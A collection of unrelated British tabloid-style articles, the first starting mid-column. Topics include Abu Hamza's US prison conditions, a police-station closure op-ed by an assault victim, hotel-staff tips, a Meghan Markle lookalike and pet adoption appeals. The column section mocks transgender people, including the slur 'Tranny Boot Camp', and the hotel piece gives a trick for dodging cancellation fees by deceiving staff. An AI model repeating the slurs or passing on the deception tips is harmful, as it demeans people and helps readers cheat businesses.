He's been stripped of his hooks and fitted with a spork, a spoon/fork hybrid, to help him eat. (You know, the sort of thing you balance on the side of your plate at Christmas parties. Except in this instance, it's permanently attached to his wrist.)

Says it all really. At the Belmarsh Hilton, he got regular pedicures. At the Alcatraz of the Rockies, he gets a spork. Hooky's only allowed out of his cell one hour a day. His lawyers complain: 'Even during that one hour recreation, however, Mostafa (nice touch, that, Mostafa, bless him) is still confined within a cell-sized cage and is in that cage alone.'

What else does he want in the cage  a budgie to play with? A couple of monkeys? A lion to tame?

He should think himself fortunate the Americans let him back out of the cage at the end of the hour. In Syria, his mates in Izal put prisoners in cages, pour petrol over their heads and set fire to them.

Still, according to his legal team, his conditions breach the terms of the extradition agreement between Britain and the U.S, which promised to respect his yuman rites.

Fortunately, the Americans take a more robust approach to the rights of convicted terrorists. But that won't stop soft-headed 'justice' campaigners agitating for Hook to be returned to Britain, where he can serve his sentence in a manner more suited to Genial Harry Grout in Slade Prison than the Birdman of Alcatraz.

He has never had any shortage of apologists prepared to dismiss him as a harmless circus act. But despite what I said at the beginning, this Captain Hook is no pantomime villain.

He's the real thing. Who knows how many impressionable young men he managed to radicalise, how many he persuaded to commit heinous acts of terror, to take up arms against this country and our allies?

If just one of his disciples  shoe-bomber Richard Reid  had been successful, and managed to blow up a plane over Detroit, it would have been the worst mass casualty attack in the West since 9/11.

Even if Hamza, Mostafa, or whatever he's calling himself this week, wasn't a terrorist mastermind, a Mister Big, he has more than played his part in the war on civilisation being waged by deranged Islamist fanatics. There's plenty of blood on his hooks.

No one wants him back, not least the vast majority of loyal British Muslims, who are sick of their religion being hijacked by headbangers to justify unspeakable acts of murder and mayhem.

The Americans should throw away the key. Captain Hook can rot in hell.

A gender change op, sir? Fat chance

On Saturday night, trying to escape the carnage of Manchester City's massacre of Spurs, I started flicking channels in search of some light relief.

I've never watched Strictly in my life and had no intention of starting now. Even another Only Fools re-run wasn't going to cut the Colman's.

A few pages into the programme guide, my attention was grabbed by a show called Too Fat To Transition on some obscure satellite station.

It featured two grotesquely overweight Americans who had been turned down for sex-change operations because of their bulk.

One was a woman who wanted to become a man, the other vice versa. They were being put through their paces by a personal trainer, aiming to shed enough weight to allow them to undergo gender-reassignment surgery.

It reminded me of that home-grown fat farm show a few years ago, which featured lardy celebs such as former Tory MP Ann Widdecombe.

Come to think of it, one of them  the woman who wanted to become a man looked a bit like Ann Widdecombe. Or was it the man who wanted to become a woman?

Doesn't matter. When I stopped laughing, what struck me was that it can only be a matter of time before someone makes a British version.

Tranny Boot Camp. It's got Channel 5 written all over it.

Best a man can get...

We haven't had a decent Proof of Identity story for a while. So I'm grateful to Mail reader Ian Burge, who tells me he went into Boots, in York, to buy a packet of Gillette safety razors.

The dopey bird at the checkout asked for evidence that he was over 21.

When he asked why, she said: 'It's in case you want to kill yourself.'

'I told her if I wanted to kill myself I'd jump in front of a bus. What did she think I was going to do, shave myself to death?'

Precisely. Anyway, they're called 'safety' razors. The clue's in the name.

Incidentally, Ian is 67.

A Mail reader said he went into a store to buy a packet of Gillette safety razors and was asked for ID

A couple who live in a mud hut in North Devon are being kicked out by the council because they didn't get planning permission.

Kate and Alan Burrows built the two-bedroom structure in 2015 because Kate is allergic to mains water, electricity and wifi. They share their home with an assortment of chickens, goats and geese and get their power from solar panels.

But the local authority has ruled the hut must be demolished and has offered the couple temporary accommodation in a Travelodge.

I can't help thinking someone's missing a trick here. We're told Britain is facing a housing crisis and millions of new homes will be needed.

The quickest way would be to commission a nationwide programme of mud hut building. They'd be cheap, environmentally friendly and self-sufficient.

Why stuff people into bed-and-breakfast accommodation when you can give them a mud hut of their own?
Criminal savagery: Lecturer Paul Kohler was left unrecognisable after the four men burst into his home and subjected him to extreme violence

The criminal savagery will stay with me for ever. It was about 10pm in August three years ago and I was playing a card game with my wife at our home.

Suddenly there was a loud knock at the front door.

I went to answer it without much concern, thinking that it was one of our daughters returning home.

But immediately I opened the door, I was met by an explosion of physical violence like something from a Hollywood mob movie.

A gang of four, clearly fuelled by drink and drugs, burst through the entrance, then began to attack me with extraordinary ferocity, all the time screaming: Wheres the money?

The beating grew in intensity as I was dragged into the dining room, while my wife was made to lie on the floor upstairs with a hood over her head and forced to listen to me being beaten.

Fortunately, one of our daughters, who was at the top of our South-West London house, heard the commotion, locked herself in her bedroom and phoned the police.

Her anguished tones certainly conveyed a sense of urgency, for within eight minutes, two officers reached our home from nearby Wimbledon police station.

Battered

They arrived just in time. At the very moment they rushed in, one of the assailants was standing over me, holding aloft a broken wooden cocktail cabinet door which he was about to bring crashing down on my battered head.

Given the escalation in the violence, I would probably have been murdered if the police had not intervened so quickly and bravely.

As it was, I sustained a fractured eye socket and a broken nose, as well as requiring multiple blood transfusions.

The attacker with the broken door was apprehended immediately, and another was caught soon afterwards hiding under a car.

Mr Kohler pictured after he left hospital. Even three years on, he says he still has double vision from the assault but thinks he is lucky to be alive, thanks to the police

The other two men fled and took longer to arrest  the last was only caught because of a tip-off received after a reward, partly funded by the Mail group, was offered for information. All four eventually went on trial and received long jail sentences.

Even now, three years on, I have double vision from the assault, but I know I am lucky to be alive  and its thanks to the police.

Indeed, at the gangs trial, the judge said: Without the swift arrival of the police, this attack would no doubt have continued. There is no way of telling how long. The violence was increasing and showed no signs of stopping.

One of the key points about the effectiveness of the polices heroic action was that they did not have far to get to our house, since the local station is 300 yards from our home.

My case is a clear illustration of the vital importance of having police stations based in local neighbourhoods, so officers can respond immediately, act as a deterrent and provide reassurance to the public.

Tragically, these factors seem to be lost on our misguided, unimaginative politicians, who appear to be happy to allow police stations to close for reasons of superficial, short-term cost-cutting without any real thought to the long-term consequences.

Lecturer's attackers: Pawel Honc (left) and Oskar Pawlowicz (right)

If an attack similar to the one I endured was mounted next year at another home in Wimbledon, it is unlikely that there would be such a swift police response  because the areas station is earmarked for imminent closure.

Its planned demise is part of a drastic programme conceived by London Mayor Sadiq Khan, who wants to shut 37 police stations in the capital.

This would mean that almost half of all police counters open to the London public will go.

Sadly, this is a pattern being repeated across the country. According to a recent study, since 2010, the number of stations with front counters open to the public has fallen from 901 to 510  a reduction of 40 per cent in just seven years.

Mariusz Tomaszewski (left) and Dawid Tychon (right) also helped in the brutal attack on the academic

Some of the cutbacks have been even more brutal than those proposed for London. In Derbyshire, for instance, the number of stations open to the public fell by 84 per cent, from 25 to just four.

Of course, the impact of closures can be fatal.

Absurd

In February, a man was stabbed to death on Wealdstone High Street in North-West London, just yards from where a police station had stood for decades. It had been sold for development into flats in 2014.

Like other politicians and police chiefs, Mr Khans justification for his closures is the need to make savings.

In fairness to him, the Metropolitan Police budget has been cut by central government to the tune of 1 billion. But his approach appears ill-conceived, counter-productive and lacking in any public support.

In the case of my local station in Wimbledon, the closure seems particularly absurd, given that the area has such a large night-time economy and is a vital transport hub for South London.

Paul Kohler, 55, stands with his family, (left to right) wife Samantha Kohler and daughters Saskia Kohler, Eloise Kohler and Beth Kohler, outside Kingston Crown Court after his attackers were sentenced

Safety

I have tried reaching out to local political figures from both the Right and Left to create a cross-party challenge to the Mayors proposals. However, while I have received the enthusiastic support of the local Liberal Democrats, neither the Tories nor Labour have joined the campaign. I fear this is because they are reluctant to criticise the role both parties have played in ushering in police cuts.

On a deeper level, closing police stations runs counter to the principles of British policing, which have been a model to the world since the early 19th century, when Sir Robert Peel founded the Metropolitan Police.

The central aim has always been to promote public safety by providing a visible presence on the streets, both with constables on the beat and with well-staffed stations in neighbourhoods.

Traditionally, as a symbol, the blue lamp outside a local station has been as reassuring to British people as the helmet of the bobby on patrol.

Under Mr Khans plan, some police stations will be retained to function as bases for the officers  but they will not be open to the public.

Under Mr Khans plan, some police stations will be retained to function as bases for the officers  but they will not be open to the public. By utilising new technology, such as smartphones and tablet computers, it is planned that officers will be able to work remotely from their cars or even local coffee shops.

Yet the reality is phones and tablets are no substitute for the visible and reassuring presence of a proper police station, particularly given that the most vulnerable victims of crime are the least likely to be confident in using technology.

The public is paying a high price for the police withdrawing behind computer screens.

According to the polices statistics, recorded crime is rising after decades of decline. In the 12 months to June 2015, it went up 5 per cent, followed by a 7 per cent increase in 2016, and then, in the year to June 2017, a disturbing rise of 13 per cent.

What makes these figures all the more worrying is the surge in violent crime. In England and Wales, during the 12 months to June 2017, there was a 27 per cent increase in gun crime, a 26 per cent rise in knife crime and a growth in robberies of 25 per cent.

Similarly, the overall category of violence against the person  which includes murder and serious injury  showed incidents up by almost a fifth.

The present approach is plainly not working. We must bring back the police to our neighbourhoods.

At a time of worsening crime and an unprecedented terror threat, the closure of stations is the height of folly.

One of the most ludicrous arguments for shutting our local branch is that, compared to the national average, it is in a low-crime area.

Perhaps the stations very presence, acting as a deterrent to law-breaking, might have something to do with that.

Those behind the misguided decision to shut police stations across the country should be reminded of the wise words of Sir Robert Peel: The test of police efficiency is the absence of crime and disorder and not the visible evidence of police action in dealing with them.

The great man would have been appalled at what is being inflicted on the force he created.
When taking a vacation or an exciting trip, no one wants to think about what's happening behind closed doors - from the flight to the hotel - some things are best left unsaid.

Which is why these gross secrets revealed by hotel employees, tells what really happens behind the scenes and what hotels don't want you to know.

Some of the most concerning secrets that hotels do not want their guests to find out about include using furniture polish to clean drinking glasses and people urinating in tequila bottles to avoid paying for the mini bar.

You won't be able to look at a hotel room the same after hearing these dirty little secrets from hotel employees.

Call the hotel for cheap rates

Rates: Calling the hotel directly rather than booking through a third party is the best option for cheap rates

Rather than booking through a travel agency or online travel site, calling the hotel directly is the best option to get the cheapest rates.

'Online booking sites are convenient and all, but you stand a better chance at scoring a lower rate if you call the hotel directly.

'Hotels pay these sites up to a 25 per cent commission, so most are able to offer a cheaper rate if you just ask,' Maggie, a desk clerk in New York, told Women's Health.

Considering hotels pay a commission up to 25 per cent to use the sites, simply call the hotel and ask for 15 per cent less than the online booking price - it's a win win.

Don't sit on the couches or the duvet

This is the oldest fact in the book, but if you don't already know, hotels rarely wash the duvet or coverlet on the bed and they never wash the couches or couch cushions.

If there's a stain, they just simply try to wipe it away because they don't have a lot of time to wash every little thing from every room.

So, gross stains and the aftermath of naked people sitting on everything is what's left.

Tip your bellhop to unlock perks

Tipping your doorman or bellhop allows you to unlock a slew of different perks from constant free water bottles to mani pedi reservations.

'In the hotel world, the bellman's kind of like the kid who's picked last in gym class. Meanwhile, we're well connected and can hook you up with whatever you needfree water bottles, tours, reservations, dry cleaning, the works.

'I've even helped guests upgrade to a better room. Most guests don't realize that tipping us unlocks a world of perks.' Mason, a doorman in New York, revealed to Women's Health.

Don't be mean to front desk

While many think this is a given, it's actually taken quite seriously by hotel management.

Don't show up to the concierge at check-in already demanding things and barking out orders - it won't get you anything except bad service.

'The staff at the front desk know which rooms have the best features, such as primo lighting or a bigger TV.

'How you treat us at check-in seals your fate, and is the defining factor in receiving a room with a great view...or one with a mysterious odor.' Maggie, a desk clerk in New York, shared with Women's Health.

Never get a cancellation fee again

One reddit user, druumer89, that has worked for a hotel shared a secret hack to never getting charged for a cancellation fee again and it's a genius way to beat the system.

'The best way to cancel your reservation with out getting charged, if you've waited after the cancellation time, is to call first and say you're changing your stay to a later date.

'Then call back within a few hours, (hopefully getting a different clerk) and the cancellation fee will be bypassed because there's now a new cancellation time on the new date.'

You might get 'walked'

Jacob Tomsky, a former hotel employee for over a decade, stated in his article for Mental Floss, that there's a term known to hotel staff as 'walking a guest,' which is a bad situation for everyone involved.

Since the average 'no-show rate is 10 per cent,' hotels are constantly overbooking so that it looks good when all the rooms are full and the reservations department is even encouraged to book the premises to 110 per cent capacity.

So, what happens when the hotel's booked and there's no room for someone? That person gets 'walked' and the hotel has to comp a full night's stay, paying for the entire room, plus tax, at another hotel in the surrounding area that is somewhat equivalent or comparable to theirs.

Also, another fun fact is that when someone gets walked and is sent to a different hotel, they also get one free phone call, which is the most bizarre thing in the world.

So, Jacob shared the four most-likely reasons someone will get walked: 'he booked using Expedia, hence he has a deeply discounted rate and is less important.

'He never stayed here before and may never visit the city again, he's a one-nighter, or he is acting like a jerk.'

Cleaning supplies

Since there are so many rooms in one hotel, it is hard for the maids or cleaning attendants to get every nook and cranny clean in every room on a time crunch.

Due to the short period of time and the easiest way to get stuff clean fast, according to Tomsky, the maids clean everything in the room with Pledge.

From the mirrors to the minibar glasses that you drink out of, most of the things you use in the hotel room have been cleaned with furniture polish. So, remember that the next time you take a sip of water of a glass. Maybe next time just stick to the wrapped plastic cups.

Never pay for minibars

Remember when your parents would cause a scene if you even stood within a few feet of the minibar? It's an age old fact that minibars are insanely expensive and should not be touched.

However, thanks to Jacob Tomsky, you never have to pay for items in the minibar again because they are the most disputed charges on any bill, due to common mistakes and errors such as 'keystroke errors, delays in restocking, double stocking, and missteps.'

Jacob shared, 'Even before guests can manage to get through half of the "I never had those items" sentence, I have already removed the charges and am now simply waiting for them to wrap up the overly zealous denial so we can both move on with our lives.'

Always check the minibar

This is pretty frightening. So, knowing now, that most hotel employees will dispute minibar charges with no push-back, are you brave enough to dive right in?

If you're bold enough to break into the minibar and pay $20 for a tiny nip of vodka, then listen to this.

Jenna, a hotel maid in New York, told Women's Health, 'Check the expiration dates on the snacks in the minibar. I've discovered snacks plenty of times that were months past their expiry.

'You'll also want to make sure the seals on the bottles of booze haven't been broken. The stories you've likely heard about people peeing in tequila bottles or filling vodka bottles with water to get out of paying for them aren't urban legends.'

Don't call the 1-800 number

When calling a hotel to book a stay or a room, don't call the 1-800 number given. Instead, call the hotel or the front desk directly.

Calling the 800 number will bring you to an operator, who will just relay the standard rates that were already known. However, by speaking with someone who works at the hotel, they will relay to you all of the best rates that are possible.

Don't call between certain times

In order to get something done, don't call the hotel concierge between 9 am and 1 pm with special requests.

The reason for this is because that's the busiest time at the front desk for guests either checking in or checking out. So the front desk will just hang up or rush you off the phone without hearing your request.

Dispute WiFi charges at check out

Who knew there were so many things that could so easily be disputed and refunded?

Ask for your WiFi charges to be removed at check out. It's easier for the concierge or front desk to dispute the WiFi charges when you're checking out rather than asking them to waive the WiFi fees when you first check in.

If asked when checking out, the hotel will just quickly brush it off because the guest is leaving anyway.

Sundays are the best days

When booking a room for one night in a new place, there is one day that is most ideal for cheapest room rates and better chances at upgrades - Sunday.

Sundays are the best days to stay at a hotel because most people on vacation are leaving or are on their way out, while the business travelers haven't arrived yet.

So, you end up paying less for a room, getting a better one, and the possibility at an upgrade because so many travelers have left.

Nothing is truly clean

Reddit user, Roslagen, who has worked in different upscale hotels in Sweden, shared a few cleaning tips that have come to light since working at several hotels and they're a bit scary.

'The glasses for toothbrushes are not always washed since the cleaners are in a hurry, often they are just held under the tap and rinsed (if even that). Check for lip prints.

'If there is a coffee mug with freeze dried coffee, check to see that it's not been standing too long before using (lots of dust inside). The remotes for the TV are rarely cleaned.

'Check the seals on the things in the minibar. I once had a guest who had drunk the whiskey and then peed in the bottle, closed it, and put it back. I've also seen candy three month past the expiration date.'




A property tycoon is renting out his central London flat for free in a bid to help someone in need over the festive season.

Laurence Lameche, 39, is on the hunt for homeless singleton, couple or family to move into the two-bedroom flat, in King's Cross, which usually rents for 2,000 a month.

Mr Lameche - who was forced to sleep in his car when he first move to London at 20 because he couldn't afford rent - explained that he simply wanted to do 'something nice' over Christmas. He said he hoped his own act of kindness would inspire other landlords to do the same.

Speaking in an exclusive interview with FEMAIL, Mr Lameche said: 'I just wanted to do something nice and to give back to someone or a couple or a family that is in need of accommodation over Christmas.

Helping hand: Laurence Lameche, 39, is on the hunt for a singleton, couple or family to move into the two-bedroom flat, in King's Cross, which usually rents for around 2,000 a month

Spacious: One of the two bedrooms in the property, which will go to someone in need

Stepping stone: The flat, pictured, could provide someone a chance to get back on their feet

'I want to help inspire other people like landlords who have an empty property over Christmas to try and do the same thing as me and to let a homeless person sleep inside a warm home rather than be out on the street.'

Mr Lameche, who runs property companies City Booker and The London Property Buyer, explained that he was so poor when he first moved to London 19 years ago that he was forced to sleep in his car, even during the freezing winter months.

Good Samaritan: Laurence Lameche

He recalled: 'I had a roof over my head but no heating so I would have to drive around in the car for about 30 minutes with the heating up full blast so the car could be warm for a while.

'Then I would park on the street or in a car park and sleep there for the night and during the day I would go to look for work and come back to my car at night. I would wash in hotel bathrooms.'

He went for job interviews but was turned away because he didn't have a home address, but without a job he couldn't secure a place to live.

This vicious cycle is all too familiar to the roughly 8,000 who sleep rough on the streets of London every year.

Mr Lameche said he was eventually helped by a landlord who 'gave him a chance' and agreed to let him rent a property for free while he found his feet. He now hopes to give someone else the same opportunity.

The flat has two bedrooms, a separate kitchen and amenities including wifi and TV.

'I managed to change my life and its possible for anyone to do so,' he continued.

Versatile: The bedroom can also be set up as two single beds, as pictured above

Temporary respite: Laurence is not accepting paid bookings in order to help others in need

Personal experience: Mr Lameche was forced to sleep rough when he moved to London. Pictured, the bathroom of his two-bedroom flat in King's Cross, north London

'This is what led me to think coming up to Christmas this year that rather than just to give people money or to give to charity; or to smile at a homeless person; or buy them food or clothes; or to give people advice on how to change their life. I wanted to give them something to help them on that journey.'

How to apply There are no specific criteria for the search. Mr Lameche explained: 'I am looking for a homeless person, couple or family that are living on the street and who need accommodation. 'I have 2 bedrooms and one super king size bed in each room or they can be split into 2 single beds in each room.' Applicants can apply through Mr Lameche's Facebook post and he said he will personally decide on the right tenant. He added: 'All I really feel I can do to decide is to follow my heart and I am sure it will lead me to a deserving person.' Advertisement

Mr Lameche has posted his festive offering on social media but has yet to find someone to help.

He continued: 'I am just looking for a genuine case of hardship and it doesnt matter whether they are a man, woman or child, I just want to help someone who needs accommodation over Christmas and New Year.'

There are no specific criteria for the search. Mr Lameche explained: 'I am looking for a homeless person, couple or family that are living on the street and who need accommodation.

'I have 2 bedrooms and one super king size bed in each room or they can be split into 2 single beds in each room.'

Applicants can apply through Mr Lameche's Facebook post and he said he will personally decide on the right tenant.

He added: 'All I really feel I can do to decide is to follow my heart and I am sure it will lead me to a deserving person.'
A 25-year-old part-time model could be the most convincing Meghan Markle-lookalike yet after winning a global competition - but she admits she's not into dating red-heads.

Lukwesa Morin, 25, from Washington DC, is set to go on the books of British celebrity spoof artist Alison Jackson after she won a competition launched by dating website beautiful people.com.

Since Prince Harry, 32, proposed to Meghan, 36, back in November, dozens of potential doppelgangers have been signing up to agencies hoping to cash in on their resemblance to the former Suits star.

Scroll down for video

Lukwesa Morin, from Washington DC, is the latest Meghan Markle lookalike hoping to enjoy some lucrative work ahead of the royal wedding in May next year. The 25-year-old says people tell her 'every day' how much she looks like Meghan

In a true sign that Meghan has arrived in the royal sphere, the former Suits actress, 36, has already spawrked a slew of lookalikes - some good, some bad - signing up to agencies

Lukwesa, who, like Meghan, has mixed race heritage, was deemed the most convincing lookalike by renowned celebrity artist Alison Jackson, who makes a living out of comedy spoofs involving what looks like very famous faces.

Despite the 11-year-age gap between herself and Meghan, Lukwesa says that since Markle first hit the spotlight in Suits, she's constantly being told she looks like the 36-year-old.

She told FEMAIL: 'Since Suits became popular, people have been telling me every day that I look like her, from perfect strangers to my family.

'And now, since the engagement, I've had even more comments with people saying "Are you Meghan Markle, are you going to marry a prince?'"

'Even my own mom has said: "Oh my gosh, if only Prince Harry met you first!.'

The real deal...but convincing Harry and Meghan lookalikes could earn thousands ahead of the couple's big day next year at Windsor Castle

Lukwesa impressed celebrity spoof star Alison Jackson with her Meghan poses after the 46-year-old comedy artist judged a competition run by dating site beautifulpeople.com

While she admits she'd love to meet a prince like Meghan has, Lukwesa says she's 'not a big fan of red heads' and has never 'dated a ginger'.

Lukwesa, who has entered beauty pageants including Miss Maryland USA 2017 and works as a part-time model, says she was suprised to win but delighted.

I'm only 25 but we're both mixed race, my father is French and my mother is from Zambia Meghan lookalike Lukwesa Morin

She said: 'I was shocked to win but felt like it legitimized what everyone has been saying to me all along.

'I'm only 25 but we're both mixed race, my father is French and my mother is from Zambia.'

Jackson said: 'Lukwesa has a striking similarity to Meghan. I can see why shes frequently mistaken for her. Shed make a great professional lookalike and I hope to be able to work with her on a future shoot.'

While she's yet to appear as a Meghan double, Lukwesa, who's just completed an online masters, is 'totally flexible' to travel should the offers of work start to pour in.

And she's even been to England before too. 'I love England, I did a Study Abroad programme in Lancaster, which was great fun but so cold.'

Lukwesa's mother has been telling her daughter that she looks like Meghan since Suits first became popular, saying: 'If only Harry had met you first!' Right: Meghan and Harry at the Invictus Games in Canada earlier this year

The 25-year-old model says she's ready to travel the world if the lookalike work takes off

And of Harry and Meghan's love story, she says: 'It's a beautiful romance, they seem very much in love. I didn't expect him to marry an actress.'

Greg Hodge, Managing Director of BeautifulPeople.com says there's been a rise in dark-haired female daters on the site in recent years - with brunettes outnumbering blondes for the first time.

'Over the past few years, weve also seen an increase in the numbers of successful red-headed men. Its fascinating to see that one red-headed prince can make being a ginger more popular!'

Opportunities for lookalike work are likely to come rolling in thick and fast ahead of Harry and Meghan's wedding at Windsor Castle on May 19th next year.

If Lukwesa she can hook-up with a Harry-a-like, then her earnings are likely to double as the interest in the real-life future Mr and Mrs Wales soars.

Last month, television show Lorraine unveiled its own Meghan lookalikes, much to the derision of viewers.

The three Meghan lookalikes left viewers deeply underwhelmed by the contenders' supposed 'resemblance' to Prince Harry's girlfriend.

Spanish MP Begona Villacis revealed last month that she's been teased by her family for looking like Ms Markle. The 39-year-old politician is hoping to become the next mayoress of Madrid

'Is this a joke?', asked one viewer on Twitter. While another chimed in: 'Apparently the only thing you need to be a Meghan Markle lookalike is a face.'

A third said their pet dog bore a closer resemblance to the actress than any of the front-runners in the search for a woman with the 'Markle sparkle'.

Perhaps the most convincing Meghan-a-like so far is Spanish MP Begona Villacis.

The 39-year-old politician, hoping to become the next mayoress of Madrid, revealed how she became the butt of family jokes after Prince Harry and the US actress announced their engagement.
With Christmas fast approaching, animal shelters around the country are hoping for the ultimate gift for some of their loneliest residents - a loving home.

Battersea Dogs & Cats Home has even written letters to Santa from some of its canines in the hope of making their wish come true, including a missive from Mr Scruffy  a wiry-haired mongrel seeking owners willing to look past his unusual hair do.

Battersea's rehoming and welfare manager Becky Fisher said: 'We do everything we can to make Christmas as fun as possible for our dogs - we give them a special Christmas lunch, decorate the kennels and play carols to get them in the festive spirit.

'But it's not the same as being in their own home - and we're hoping these letters will help shine the spotlight on some of our dogs who face spending the festive season at Battersea, without a family.'

London's Mayhew animal home is also looking for caring homes for cats and dogs who have been at the centre for up to nine months, while Dogs Trust also has canines in centres around the country desperate to find loving owners, including crossbreed Jasper who's been waiting two years.

Shelters must go through a careful process to ensure they find the right families to take on the pets and it's unlikely any adoptions can be completed in time for Christmas, but you could still give an animal in need the gift they're longing for - a forever home for the New Year.

Inseparable duo Daisy and Teddy are looking for a home together. This Chinese Crested pair are a little shy at first, so theyre looking for a home with new owners who are happy to take the time to help them to come out of their shells. Once theyve got to know you, theyre the most devoted and loyal companions you could wish for

Jasmine has been such a good girl since she arrived at Battersea as a stray last month. The Dogue de Bordeaux has got plenty of get-up-and-go, despite being eleven years old and is a real cuddle-bug. She also loves her food and the highlight of her Christmas will definitely be dinner. Jasmine is going to make a great companion to any large dog enthusiast

Mr Scruffy is a Mongrel with big smile and an adorable, shaggy hair-style. He's a high-energy Terrier who has been passed through a lot of homes before he came to Battersea. Mr Scruffy finds the world a bit overwhelming and he's hoping to find a home in the country, with owners who will teach him to be the best dog he can be

Sally has found herself back at Battersea for a second time - through no fault of her own  and this former racer is in real need of a lucky break. She's an affectionate and eager-to-please girl who loves people and hates being left by herself. Despite her gentle nature, this girl is having trouble standing out among the other dogs

Sky is getting lonely in Battersea's kennels, despite the best efforts of the staff to cheer her up. There's still lots of energy left in this seven-year-old and she has many years of love left in her. She loves charging around with tennis balls and she's a very cuddly girl, who lives for human affection

Despite her hand-knitted Christmas jumper, Darcy's finding it hard to get in the festive spirit. She really misses her old home and is hoping she'll soon find new owners to love her. She's a calm and affectionate dog, but she does have a stubborn streak and will need experienced owners to help teach her to mind her manners around other dogs. She's a very smart girl who loves people and she's going to make a wonderful, cuddly companion to whoever is lucky enough to take her home

Marley, a black and white male cat was found as a stray and brought into Mayhew at the beginning of November this year. The three-year-old appeared to have been picked on by another cat so was understandably a little scared of his new surroundings. He has slowly started to come out of his shell and would love a nice quite home where he can receive lots of fuss. He would love a garden and would prefer to be the only cat in the home.

After being left no longer wanted by her previous owners, Maggie was brought into Mayhew by Animal Welfare Officers. The five-year-old Terrier mix is ever such a loving and gentle girl, who enjoys to cuddle up close to you for strokes and company. She has poor eyesight and though she can be nervous in new situations and fearful around strangers, once she gets to know and trust you, she is extremely affectionate

This black female cat was found as a stray by Animal Welfare Officers and brought into Mayhew in October this year. The three-year-old needs a home with someone willing to put in a bit of time allowing her to get to know you and trust you. She is looking for an all adult home and would prefer to be the only cat. She would also love a garden too

Husky and Mastiff crossbreed, Lizzy, was first brought into Mayhew a month ago when her previous owners no longer had time for a dog. The 12-month-old is such an affectionate, friendly girl who gets along well with everyone she meets. She's still very much a puppy, so is super active and playful, and will ideally need an owner with plenty of time on their hands to continue her training and socialisation. She would prefer to be the only dog in the home and can live with children 16 years and older. Lizzy is an active dog who is looking for an equally active owner

Tommy, a seven-year-old male is playful and has the most amazing purr. He arrived at Mayhew more than nine months ago as an injured stray and needed a few teeth coming out as well as a nasty bite behind his leg taken care of. This is now resolved, but you would just need to monitor his leg to see if any lameness might occur in the future. Tommy can live with children, but would like to be the only cat in the home

Two-year-old black and white female Tricks was a stray who had previously been owned. She was brought into Mayhew at the end of October this year and is now looking to settle in and learn to love someone again. Tricks has a slight heart murmur, which has been graded two/three out of six. Heart murmurs need no medication and will be checked out by your vet when you visit yearly. Tricks can live with sensible teenagers, but not other cats or dogs

Seven-year-old cross breed Jake was found as a stray but the team at Dogs Trust Loughborough say whatever he's been through, it hasn't curbed his enthusiasm for life. He is very on-the-go and treats life like one big adventure. He loves to explore new places and loves being out and about. He can be a little anxious if he isn't given space when he wants it. This little chap can live with young adults but no other pets in his new home and would benefit from owners who are happy keeping him active physically and mentally

Two-year-old grehound Snowy lives at Dogs Trust shelter in Evesham. She's a charming girl who is ready to explore and really wants to make friends. Although she can be a little unsure at first, it doesn't take her too long to come round. She really loves to play with her toys and absolutely loves her food. Snowy is looking for a home that can balance plenty of snooze and relaxation time with walks and lots of things to do, where someone is around for most of the day. She she must live with another dog as she is much happier with a canine friend and could live with children aged six and above

Jake may be 15 but this Older Age Pooch still loves life and likes to be a busy boy! Found as a stray in Manchester he is now looking for a comfy retirement home where he can sit back and relax after enjoying a nice walk and playtime with his two-legged friends and his favourite squeaky toys. He can live with older teenagers but would like to be the only dog in the home so he can lap up all the love!

Peanut is a beautiful young girl who was found by as a stray in Glasgow. She has lots of energy and would love to find a family who will help her channel this into her training. Peanut could potentially live with another dog and children over the age of 16 and would prefer not to be left alone in the home for too long

Arriving as a stray at the Dogs Trust Shoreham centre almost two years ago, crossbreed Jasper loves spending time with people and walking in rural locations. Described as 'a great chap with a sensitive nature', this adorable canine has a lot of love to give. Fully housetrained, Jasper is dreaming of a quiet home where he is the only dog, so he gets all the attention, and a garden to call his own. Jasper would prefer to live with teenagers aged 16 years plus, so he can settle and grow in confidence

One-year-old Simbo, an Akita, is very young and was sadly found as a stray, so is more than ready to find his forever home after coming to Dogs Trust Loughborough. As he is a youngster he is full of energy and fun and loves to keep his brain as well as his body busy, so would like his new owners to continue training to help him become a wonderful adult dog. He often forgets his own strength so is looking for a confident owner who loves getting out and about as much as he does. He can live with young adults and a dog but no other pets

Handsome lurcher George, two, loves exploring and sniffing around trying to find anything tasty to eat. He enjoys being the centre of attention and likes a fuss once he knows you. The way to Georges heart is through food or toys and then hell be your best friend. George would like to live with adults only and can be left for up to two hours if built up slowly and kept mentally and physically stimulated. Although George needs to be the only dog in the home, hed like socialising buddies, but he cant live with cats or small furries. George travels well in the car and would enjoy visiting new places with his adopter

Brought into the Whitstable rehoming centre as a stray, terrier cross Chloe, seven, hasnt had the best start in life. Shes a sweet but timid soul, who takes a while to come out of her shell with new people. She adores playing with her toys as much as she loves her food. Chloe is looking for an active yet calm, adult-only home. A smart girl, she learns very quickly and would like to continue her training with her new owner. Chloe needs to be the only pet in the household as she likes all the attention to herself. She will need time to adjust and feel settled in her new home before she can learn to be left alone

If you would like to find more about Sally, Sky, Mr Scruffy, Darcy or any of Battersea's other dogs, visit www.battersea.org.uk or call 0843 509 4444.

For more information on Mayhew's Christmas campaign 'I am NOT an Impulse Buy' campaign, visit www.themayhew.org/notanimpulsebuy

If you think you can give a dog a loving home, please call Dogs Trust on 0300 303 0292 or visit www.dogstrust.org.uk
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No sooner had they arrived in Australia were Princess Mary and Prince Frederik hitting up one of their favourite places - the sea.

And now, having spent day one of their Christmas break on a yacht race on Sydney Harbour and day four swimming and body boarding at Palm Beach, they have arrived on board a superyacht beloved by celebrities from around the world.

The 122-foot vessel is a sight to behold at Sydney Harbour. FEMAIL takes a look inside the Danish Royal family's luxury stay...

Princess Mary and her family are currently relaxing on board a superyacht beloved by celebrities from around the world (pictured: the middle deck)

The Princess, her husband, Prince Frederik (both pictured) and their young family are in Australia for a planned Christmas break to see the 45-year-old's family

The top deck of the vessel features a luxurious spa, complete with jaccuzzi (pictured)

The family are no strangers to boats or being on the water - they spent the early part of last week on board Wild Oats XI (pictured) - during a yacht race on Sydney Harbour

The superyacht the family of six are enjoying can accommodate up to twelve guests.

Boasting multiple living, dining and entertaining areas, it also has a luxurious top deck spa, complete with jaccuzzi, lavish day beds and a place to soak up the Sydney sunshine.

The yacht itself is furnished with soft muted tones, wooden features and earthy browns.

With the weather in Sydney heating up to near 40 degrees Celsius in Sydney this week, the boat is certain to be a nice place to keep cool and relax in the heat for the Royal family.

The superyacht is a 122-foot vessel and comes complete with multiple living, dining and entertaining areas (pictured)

The yacht itself is furnished with soft muted tones, wooden features and earthy browns (pictured)

